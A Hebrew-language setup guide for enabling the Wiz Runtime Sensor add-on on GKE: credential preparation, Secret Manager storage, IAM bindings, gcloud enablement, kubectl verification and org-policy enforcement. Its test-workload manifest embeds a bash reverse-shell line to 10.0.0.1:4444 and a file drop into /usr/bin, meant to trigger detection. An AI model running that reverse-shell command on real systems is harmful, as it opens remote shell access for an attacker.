התקנת Wiz Runtime Sensor באשכולות GKE

חיישן זמן הריצה של Wiz הוא רכיב בפלטפורמת הליבה של Wiz שמספק יכולות של זיהוי איומים בזמן אמת ותגובה לעומסי עבודה בזמן ריצה. אפשר להתקין את חיישן זמן הריצה באשכולות Google Kubernetes Engine ‏ (GKE) כתוסף מנוהל. במסמך הזה מוסבר למנהלי פלטפורמות ולמהנדסי אבטחה איך להתקין את התוסף Runtime Sensor, להגדיר את הגישה לפלטפורמת Wiz ולאכוף את ההתקנה של Runtime Sensor בארגון, בתיקייה או בפרויקט.

אתם אמורים כבר להכיר את Wiz Runtime Sensor.

מתי כדאי להשתמש בתוסף Runtime Sensor

שיטת ההתקנה של התוסף המנוהל היא חלופה מובנית להתקנת חיישן זמן הריצה באמצעות שיטות התקנה כמו תרשים Helm. היתרונות של התוסף Runtime Sensor:

  • ‫GKE מתקין את הרכיבים ומנהל את רוב משימות ההגדרה, וכך מצמצם את המאמץ והמורכבות של התקנת חיישן זמן הריצה בהשוואה לשימוש בתרשים Helm.
  • אתם יכולים להשתמש בשירות מדיניות הארגון כדי לדרוש את הפעלת התוסף בארגון, בתיקיות או בפרויקטים.
  • התוסף פועל באשכולות Autopilot ובמקביל לעומסי עבודה של Autopilot באשכולות Standard, בלי שצריך להוסיף את Runtime Sensor לרשימת ההיתרים.
  • כל עדכון של רכיבי Runtime Sensor לא תלוי בשדרוגים של גרסאות התיקונים של GKE.

אפשר גם להתקין את חיישן זמן הריצה באשכולות באמצעות תרשים Helm. אם משתמשים בשיטה הזו, יש יותר גמישות להתאים אישית את הגדרת החיישן. עם זאת, השיטה הזו דורשת יותר הגדרה ידנית במהלך ההתקנה, וקשה יותר לאכוף אותה בקנה מידה נרחב בהשוואה לשימוש בתוסף. אם מתקינים את חיישן זמן הריצה באמצעות תרשים Helm, הרכיבים לא מנוהלים על ידי GKE. אם אתם לא משתמשים בתוסף של GKE, אתם צריכים לדווח ישירות ל-Wiz על כל בעיה ב-Runtime Sensor, כמו שגיאות או חוסר תאימות.

איך זה עובד

אתם מתקינים את התוסף באשכולות ספציפיים באמצעות GKE API. כשמפעילים את התוסף, GKE יוצר את מרחב השמות gke-managed-wiz ומתקין את הרכיבים של Runtime Sensor. ל-GKE נדרשת גישה ל-Container Registry הפרטי של Wiz כדי לשלוף תמונות עבור חיישן זמן הריצה.

אחרי ההתקנה, חיישן זמן הריצה צריך גישה ל-API של Wiz כדי לשלוח מידע לפלטפורמת Wiz. כדי לתת ל-GKE ולחיישן זמן הריצה את הגישה הנדרשת, צריך לספק את המידע הבא כסודות במרחב השמות gke-managed-wiz:

  • פרטי כניסה כדי לגשת ל-Container Registry של Wiz ולמשוך את קובץ האימג' של Runtime Sensor.
  • פרטי ההגדרה של חיישן זמן הריצה, כמו פרטי הכניסה ל-API של Wiz ומשתנים ספציפיים לסביבה.

אתם יכולים ליצור את הסודות האלה באופן ידני או להעלות את המידע ל- Cloud de Confiance by S3NSSecret Manager, שיוצר את הסודות באופן אוטומטי, מחליף גרסאות לפי לוח זמנים קבוע ומפיץ עדכונים לסודות שנפרסו.

תמחור

התוסף Wiz Runtime Sensor זמין ב-GKE ללא עלות נוספת. חשוב לשים לב לנקודות הבאות:

  • צריך רישיון פעיל של Wiz Runtime Sensor. מידע נוסף זמין במאמר בנושא תמחור Wiz.
  • הרכיבים של חיישן זמן הריצה פועלים בצמתים וצורכים משאבי מעבד וזיכרון, ולכן יכול להיות שתצטרכו יותר צמתים כדי להכיל את כל ה-Pods באשכול.
  • אם אתם משתמשים ב-Secret Manager כדי לאחסן את פרטי הכניסה וההגדרות של Wiz, יחולו עליכם תנאי התמחור של Secret Manager.

מגבלות

המגבלות הבאות חלות על השימוש בתוסף:

  • אם מעדכנים את פרטי הכניסה ל-API או למרשם של Wiz ב-Secrets שנפרסו, צריך להפעיל מחדש באופן ידני את Runtime Sensor DaemonSet באמצעות הפקודה kubectl rollout restart.
  • כדי להתקין את חיישן זמן הריצה, צריך להעלות את פרטי הכניסה של רישום הדייר ב-Wiz כסוד של Kubernetes או ל-Secret Manager.
  • אם אתם משתמשים בצמתים פרטיים, אתם צריכים להגדיר גישה יוצאת למרשם של מאגרי Wiz‏ (registry.wiz.io) באמצעות Cloud NAT.
  • תוסף GKE המנוהל תומך רק בפרמטרים האופציונליים הבאים של ההגדרה עבור חיישן זמן הריצה:
    • httpProxyConfiguration.httpsProxy
    • httpProxyConfiguration.caCertificate
    • httpProxyConfiguration.clientCertificate

כדי להשתמש בפרמטרים אחרים של הגדרה, צריך להתקין את חיישן זמן הריצה באמצעות תרשים Helm.

לפני שמתחילים

לפני שמתחילים, חשוב לוודא שביצעתם את המשימות הבאות:

  • מפעילים את ממשק ה-API של Google Kubernetes Engine.
    • הפעלת Google Kubernetes Engine API
  • כדי להשתמש ב-Google Cloud CLI למשימה הזו, מתקינים ואז מאתחלים את ה-CLI של gcloud. אם התקנתם בעבר את ה-CLI של gcloud, מריצים את הפקודה gcloud components update כדי לקבל את הגרסה העדכנית. יכול להיות שבגרסאות קודמות של ה-CLI של gcloud אי אפשר להריץ את הפקודות שבמסמך הזה.

התפקידים הנדרשים

כדי להפעיל ולהגדיר את התוסף Runtime Sensor ל-GKE, צריך לקבל את התפקידים הבאים בפרויקט Cloud de Confiance :

  • הגדרת אשכולות GKE: אדמין של אשכול Kubernetes Engine (roles/container.clusterAdmin) בפרויקט Cloud de Confiance .
  • העלאת פרטי כניסה וקובצי תצורה של API ל-Secret Manager: ‏ עריכה ב-Secret Manager (roles/secretmanager.editor) בפרויקט Cloud de Confiance .
  • מקצים תפקידי ניהול זהויות והרשאות גישה (IAM) לחשבון השירות של Kubernetes שבו משתמש חיישן זמן הריצה: אדמין של Secret Manager (roles/secretmanager.admin) בפרויקט Cloud de Confiance .
  • הגדרה של מדיניות הארגון: Organization Policy Administrator‏ (roles/orgpolicy.policyAdmin) בארגון.

צריך גם גישה לדייר Wiz כדי לקבל פרטי כניסה ל-Container Registry של Wiz וליצור טוקן OAuth ל-Wiz API.

הכנת פרטי הכניסה וקובצי התצורה של Wiz

כדי להתקין את Runtime Sensor ולשלוח מידע לפלטפורמת Wiz, צריך לספק פרטי כניסה כדי לגשת למרשם הפרטי של Wiz ול-Wiz API. כדי להכין את המידע הזה, צריך לבצע את השלבים הבאים:

  1. איתור פרטי הכניסה של Wiz Container Registry עבור ה-registry.wiz.ioContainer Registry.

  2. יוצרים מחרוזת בקידוד base64 שמכילה את פרטי הכניסה למאגר במבנה ש-Kubernetes יכול לנתח:

    echo -n 'WIZ_REGISTRY_USERNAME:WIZ_REGISTRY_PASSWORD' | base64 | tr -d '\n'

    מחליפים את מה שכתוב בשדות הבאים:

    • ‫WIZ_REGISTRY_USERNAME: שם המשתמש של מאגר Wiz.
    • ‫WIZ_REGISTRY_PASSWORD: הסיסמה ל-Container Registry של Wiz.

    הפלט אמור להיראות כך:

    aGVsbG86d29ybGQ=

  3. שומרים את המידע כקובץ JSON:

    {
  "auths": {
    "registry.wiz.io": {
      "username": "WIZ_REGISTRY_USERNAME",
      "password": "WIZ_REGISTRY_PASSWORD",
      "auth": "BASE64_ENCODED_CREDENTIALS"
    }
  }
}

    מחליפים את BASE64_ENCODED_CREDENTIALS במחרוזת המקודדת מהשלב הקודם.

  4. יוצרים חשבון שירות ב-Wiz ומעתיקים את הפרטים הבאים:

    • מזהה הלקוח, שמופיע גם בפורטל Wiz בדף Service Accounts.
    • סוד הלקוח, שמוצג רק כשיוצרים את חשבון השירות.

  5. יוצרים קובץ תצורה בפורמט YAML בשביל חיישן זמן הריצה:

    clientId: "WIZ_CLIENT_ID"
clientToken: "WIZ_CLIENT_SECRET"
clientEndpoint: "WIZ_CLIENT_ENDPOINT"

    מחליפים את מה שכתוב בשדות הבאים:

    • ‫WIZ_CLIENT_ID: מזהה הלקוח של חשבון השירות.
    • ‫WIZ_CLIENT_TOKEN: סוד הלקוח של חשבון השירות.
    • ‫WIZ_CLIENT_ENDPOINT: כתובת ה-URL של האסימון שבה צריך להשתמש, בהתאם לדייר (tenant) שלכם ב-Wiz.

  6. אופציונלי: אם אתם משתמשים ב-Proxy ל-HTTP, אתם יכולים להגדיר את חיישן זמן הריצה כך שישתמש בשרת ה-proxy. יוצרים קובץ תצורה בפורמט YAML לשרת ה-proxy:

    httpsProxy: "PROXY_URL"
caCertificate: "CA_CERTIFICATE"
clientCertificate: "CLIENT_CERTIFICATE"

    מחליפים את מה שכתוב בשדות הבאים:

    • ‫PROXY_URL: כתובת ה-URL המלאה של שרת ה-proxy, למשל https://proxy.example.com:8080.
    • ‫CA_CERTIFICATE: אישור ה-CA של שרת ה-proxy בפורמט PEM. אם שרת ה-Proxy שלכם לא משתמש ב-TLS, צריך לציין ערך ריק ("").
    • ‫CLIENT_CERTIFICATE: אישור הלקוח, בפורמט PEM, של שרת ה-proxy. אם שרת ה-proxy לא משתמש ב-TLS, צריך לציין ערך ריק ("").

יצירת סודות ב-Secret Manager

בקטע הזה מוסבר איך לאחסן את קובצי ההגדרות והאישורים השונים של Wiz ב-Secret Manager. אתם יכולים לציין את מזהי ה-URI של הסודות האלה כשאתם מפעילים את התוסף Runtime Sensor באשכול GKE. ‫Secret Manager יוצר באופן אוטומטי את הסודות של Kubernetes במרחב השמות של Wiz. כשמעדכנים את הערכים ב-Secret Manager, הסודות של Kubernetes מסתנכרנים מחדש באופן אוטומטי כדי להשתמש בערכים החדשים. אפשר לדלג על הקטע הזה וליצור את הסודות באופן ידני במרחב השמות gke-managed-wiz.

כדי ליצור את הסודות ב-Secret Manager, פועלים לפי השלבים הבאים:

  1. שומרים את פרטי הכניסה למרשם של Wiz:

    1. יוצרים סוד כדי לאחסן את פרטי הכניסה של מרשם Wiz:

      gcloud secrets create wiz-image-pull-secret \
    --replication-policy="automatic" \
    --project="SECRET_PROJECT_ID"

      מחליפים את SECRET_PROJECT_ID במזהה הפרויקט ב- Cloud de Confiance שבו רוצים ליצור את הסודות.

    2. שומרים את פרטי הכניסה של המרשם של Wiz בסוד wiz-image-pull-secret:

      gcloud secrets versions add wiz-image-pull-secret \
    --project="SECRET_PROJECT_ID" \
    --data-file=PATH_TO_CREDENTIALS_FILE

      מחליפים את PATH_TO_CREDENTIALS_FILE בנתיב של קובץ ה-JSON שמכיל את פרטי הכניסה של Wiz Registry.

  2. שומרים את פרטי הכניסה ל-Runtime Sensor API:

    1. יוצרים סוד לאחסון פרטי הכניסה של Runtime Sensor API:

      gcloud secrets create wiz-api-key-secret \
    --replication-policy="automatic" \
    --project="SECRET_PROJECT_ID"

    2. שומרים את פרטי הכניסה של Runtime Sensor API בסוד wiz-api-key-secret:

      gcloud secrets versions add wiz-api-key-secret \
    --project="SECRET_PROJECT_ID" \
    --data-file=PATH_TO_CONFIG_FILE

      מחליפים את PATH_TO_CONFIG_FILE בנתיב לקובץ ה-YAML שמכיל את פרטי הכניסה של Runtime Sensor API.

  3. אופציונלי: שומרים את פרטי ההגדרה של ה-proxy:

    1. יוצרים סוד כדי לאחסן את ההגדרות של שרת ה-proxy:

      gcloud secrets create wiz-sensor-proxy-secret \
    --replication-policy="automatic" \
    --project="SECRET_PROJECT_ID"

    2. מאחסנים את הגדרת שרת ה-proxy ב-wiz-sensor-proxy-secret secret:

      gcloud secrets versions add wiz-sensor-proxy-secret \
    --project="SECRET_PROJECT_ID" \
    --data-file=PATH_TO_PROXY_FILE

      מחליפים את PATH_TO_PROXY_FILE בנתיב לקובץ ה-YAML שמכיל את הפרמטרים של הגדרות שרת ה-proxy.

מתן גישה ל-Secret Manager ב-GKE

כדי לסנכרן את המידע ב-Secret Manager בתור סודות של Kubernetes, צריך להקצות את תפקיד ה-IAM Secret Manager Secret Accessor (roles/secretmanager.secretAccessor) בסודות שיצרתם ל-Kubernetes ServiceAccount‏ wiz-sensor-secretsync-sa במרחב השמות gke-managed-wiz. כשמפעילים את תוסף חיישן זמן הריצה באשכול, GKE יוצר את חשבון השירות הזה ומשתמש בזהות של חשבון השירות כדי ליצור את הסודות התואמים במרחב השמות. אם אתם מתכננים ליצור סודות באופן ידני במקום להשתמש ב-Secret Manager, דלגו על הקטע הזה.

כדי להקצות את התפקיד הנדרש:

  1. מאתרים את מספר הפרויקט של הפרויקט של האשכול:

    gcloud projects describe CLUSTER_PROJECT_ID --format='value(projectNumber)'

    הפלט דומה ל-1234567890.

  2. הקצאת התפקיד לסוד wiz-image-pull-secret:

    gcloud secrets add-iam-policy-binding wiz-image-pull-secret \
    --project=SECRET_PROJECT_ID \
    --role="roles/secretmanager.secretAccessor" \
    --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.s3ns.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"

    מחליפים את מה שכתוב בשדות הבאים:

    • ‫SECRET_PROJECT_ID: מזהה הפרויקט שמכיל את הסודות.
    • ‫CLUSTER_PROJECT_NUMBER: מספר הפרויקט של האשכול.
    • ‫CLUSTER_PROJECT_ID: מזהה הפרויקט של פרויקט האשכול.

  3. מקצים את התפקיד בסוד wiz-api-key-secret:

    gcloud secrets add-iam-policy-binding wiz-api-key-secret \
    --project=SECRET_PROJECT_ID \
    --role="roles/secretmanager.secretAccessor" \
    --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.s3ns.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"

  4. אופציונלי: אם יצרתם סוד שמכיל מידע על שרת proxy ל-HTTP, אתם צריכים להקצות את התפקיד לסוד של wiz-sensor-proxy-secret:

    gcloud secrets add-iam-policy-binding wiz-sensor-proxy-secret \
    --project=SECRET_PROJECT_ID \
    --role="roles/secretmanager.secretAccessor" \
    --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.s3ns.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"

הפעלת התוסף Runtime Sensor ל-GKE

אחרי שיוצרים את הסודות ב-Secret Manager ומעניקים ל-GKE את התפקיד הנדרש בסודות, מפעילים את תוסף Runtime Sensor באשכול. אפשר להפעיל את התוסף באשכולות חדשים או קיימים של Standard או Autopilot. כך מפעילים את התוסף ומגדירים סנכרון סודות באשכול קיים: אפשר גם להשתמש בדגלים האלה במהלך יצירת האשכול.

  1. הפעלת סנכרון סודות באשכול קיים. אם אתם מתכננים ליצור סודות באופן ידני במקום להשתמש ב-Secret Manager, דלגו על השלב הזה.

    gcloud container clusters update CLUSTER_NAME \
    --project=CLUSTER_PROJECT_ID \
    --location=CONTROL_PLANE_LOCATION \
    --enable-secret-sync --enable-secret-sync-rotation

    מחליפים את מה שכתוב בשדות הבאים:

    • ‫CLUSTER_NAME: השם של האשכול.
    • ‫CLUSTER_PROJECT_ID: מזהה הפרויקט של האשכול.
    • ‫CONTROL_PLANE_LOCATION: מיקום מישור הבקרה של האשכול.

  2. מפעילים את התוסף באמצעות אחת מהפקודות הבאות. אם אתם מתכננים ליצור סודות באופן ידני במקום להשתמש ב-Secret Manager, ציינו רק את הדגל --addons בפקודות האלה.

    • הפעלת התוסף בלי להגדיר שרת proxy ל-HTTP:

      gcloud container clusters update CLUSTER_NAME \
    --project=CLUSTER_PROJECT_ID \
    --location=CONTROL_PLANE_LOCATION \
    --update-addons=WizSensor=ENABLED \
    --wiz-sensor-registry-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-image-pull-secret/versions/latest \
    --wiz-sensor-api-key-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-api-key-secret/versions/latest

    • מפעילים את התוסף ומגדירים שרת proxy ל-HTTP:

      gcloud container clusters update CLUSTER_NAME \
    --project=CLUSTER_PROJECT_ID \
    --location=CONTROL_PLANE_LOCATION \
    --update-addons=WizSensor=ENABLED \
    --wiz-sensor-registry-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-image-pull-secret/versions/latest \
    --wiz-sensor-api-key-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-api-key-secret/versions/latest \
    --wiz-sensor-proxy-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-sensor-proxy-secret/versions/latest

אימות ההתקנה

כדי לוודא שהתוסף הותקן, פועלים לפי השלבים הבאים:

  1. קבלת פרטי כניסה להרצת פקודות של kubectl באשכול:

    gcloud container clusters get-credentials CLUSTER_NAME \
    --location=CONTROL_PLANE_LOCATION \
    --project=CLUSTER_PROJECT_ID

  2. בודקים אם מרחב השמות gke-managed-wiz קיים:

    kubectl get namespace gke-managed-wiz

    הפלט אמור להיראות כך:

    NAME              STATUS   AGE
gke-managed-wiz   Active   76s

  3. בודקים אם המשאבים המותאמים אישית של Secret Manager קיימים במרחב השמות:

    kubectl get secretproviderclass --namespace=gke-managed-wiz
kubectl get secretsync --namespace=gke-managed-wiz

    הפלט אמור להיראות כך:

    NAME                          AGE
wiz-sensor-secrets-provider   76s
wiz-sensor-apikey             76s
wiz-sensor-imagepullkey       75s
wiz-sensor-proxy              76s

  4. בודקים אם הסודות של Kubernetes קיימים:

    kubectl get secrets --namespace=gke-managed-wiz

    הפלט אמור להיראות כך:

    NAME                      TYPE                              DATA   AGE
wiz-sensor-apikey         Opaque                            3      76s
wiz-sensor-imagepullkey   kubernetes.io/dockerconfigjson    1      75s

  5. בודקים את הסטטוס של DaemonSet של חיישן זמן הריצה:

    kubectl get daemonset --namespace=gke-managed-wiz

    הפלט אמור להיראות כך:

    NAME        DESIRED   CURRENT   READY   UP-TO-DATE   AVAILABLE   NODE SELECTOR   AGE
wiz-sensor  1         1         1       1            1           <none>          76s

    הפלט הזה מציין שחיישן זמן הריצה מוכן וזמין.

  6. בודקים את יומני ההפעלה והחיבור של חיישני זמן הריצה:

    kubectl logs -n gke-managed-wiz daemonset/wiz-sensor --tail=100

    הפלט אמור להיראות כך:

    {"fields":{"defs_commit":"","defs_version":"0.0.0","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:06:32.982+00:00"}
{"fields":{"message":"starting content update"},"level":"INFO","timestamp":"2026-09-24T17:06:33.304+00:00"}
{"fields":{"message":"ending content update - new content downloaded"},"level":"INFO","timestamp":"2026-09-24T17:06:34.215+00:00"}
{"fields":{"defs_commit":"4cf39a653","defs_version":"1.0.6125","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:06:34.372+00:00"}
{"fields":{"env":{"ALLOWED_CONTROLLER_API_GROUPS":"[\"\",\"apps\",\"batch\",\"argoproj.io\",\"sparkoperator.k8s.io\",\"ray.io\",\"tekton.dev\",\"composer.cloud.google.com\",\"kafka.strimzi.io\",\"actions.github.com\"]","ALLOW_KUBELET_COMMUNICATION":"false","BACKEND_ENV":"prod","CRI_SOCKET_CUSTOM_PATH":"","HELM_CHART_COMPAT_VER":"1","HELM_CHART_VERSION":"1.0.11492","HTTP_PROXY_URL":"","JSON":"true","LOG_FILE":"/wiz-sensor-store/sensor.log","RAMFS_STORE":"/tmp/","SENSOR_CLUSTER_NAME":"CLUSTER_NAME","STDOUT_LOG":"error","TMP_STORE":"/wiz-sensor-store/"},"hash":"daa946af4dd7eb728495e752bb35399749ad2c2c","message":"Wiz Sensor env config"},"level":"INFO","timestamp":"2026-09-24T17:09:24.844+00:00"}
{"fields":{"defs_commit":"4cf39a653","defs_version":"1.0.6125","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:09:25.249+00:00"}
{"fields":{"major":6,"message":"kernel version","minor":12,"patch":94},"level":"INFO","timestamp":"2026-09-24T17:09:25.277+00:00"}
{"fields":{"delay":{"nanos":0,"secs":0},"message":"sensor start delay secs","range":0},"level":"INFO","timestamp":"2026-09-24T17:09:34.994+00:00"}

פריסת עומס עבודה לבדיקה

כדי לבדוק אם החיבור לפורטל Wiz פועל, פועלים לפי השלבים הבאים:

  1. שומרים את המניפסט הבא של הפריסה כקובץ YAML:

    apiVersion: apps/v1
kind: Deployment
metadata:
  name: demo-nginx
  namespace: default
spec:
  replicas: 1
  selector:
    matchLabels:
      app: demo-nginx
  template:
    metadata:
      labels:
        app: demo-nginx
    spec:
      containers:
      - name: nginx
        image: nginx:1.15.6
        command: ["/bin/bash", "-c"]
        args:
        - |
          # Trigger background reverse shell attempt
          (timeout 5 bash -i >& /dev/tcp/10.0.0.1/4444 0>&1) &
          # Trigger image drift file modification
          touch /usr/bin/malicious_test_file
          # Start Nginx
          exec nginx -g "daemon off;"
        ports:
        - containerPort: 80

    הפריסה הזו יוצרת Pod שמדמה מתקפת reverse shell.

  2. יוצרים את הפריסה:

    kubectl apply -f PATH_TO_MANIFEST

    מחליפים את PATH_TO_MANIFEST בנתיב לקובץ המניפסט של הפריסה.

  3. בפורטל Wiz, נכנסים לדף Threats.

  4. בטבלת האיומים, מחפשים ממצא איום לגבי ניסיון של reverse shell.

אכיפת התקנה של תוספים באמצעות מדיניות הארגון

באמצעות מדיניות הארגון, אתם יכולים לאכוף את ההתקנה של התוסף Runtime Sensor בכמה אשכולות בארגון, בתיקייה או בפרויקט. יוצרים אילוץ בהתאמה אישית עם המאפיינים הבאים:

  • משאב: container.googleapis.com/Cluster
  • מצב: resource.addonsConfig.wizSensor.enabled == false
  • פעולה: DENY

למידע נוסף על הגדרת אילוץ מותאם אישית עם המאפיינים האלה, ראו הגבלת פעולות במשאבי GKE באמצעות מדיניות ארגון מותאמת אישית.

המאמרים הבאים